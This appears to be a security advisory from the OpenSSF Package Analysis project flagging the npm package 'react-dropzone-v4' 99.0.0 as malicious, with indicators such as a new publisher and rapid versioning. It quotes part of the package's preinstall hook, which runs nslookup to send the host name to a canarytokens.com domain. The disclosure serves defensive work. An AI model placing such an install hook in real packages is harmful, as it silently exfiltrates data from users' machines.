GCVE-110-OSM-2026-14051

The OpenSSF Package Analysis project identified 'react-dropzone-v4' @ 99.0.0 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. ENTRY - Preinstall Script in package.json: ""preinstall": "nslookup $(hostname).hzbvy3cmgred066nig6n3ux0y.canarytokens.com |..." DESTINATION - 1 exfil (oast) - 1 fetched-payload (domains) (values recorded in verified_iocs) EXFIL - Suspicious Domain in package.json: "http://hzbvy3cmgred066nig6n3ux0y.canarytokens" ADDITIONAL FINDINGS - Brand New Package - Very New NPM Publisher Account - Rapid Version Publishing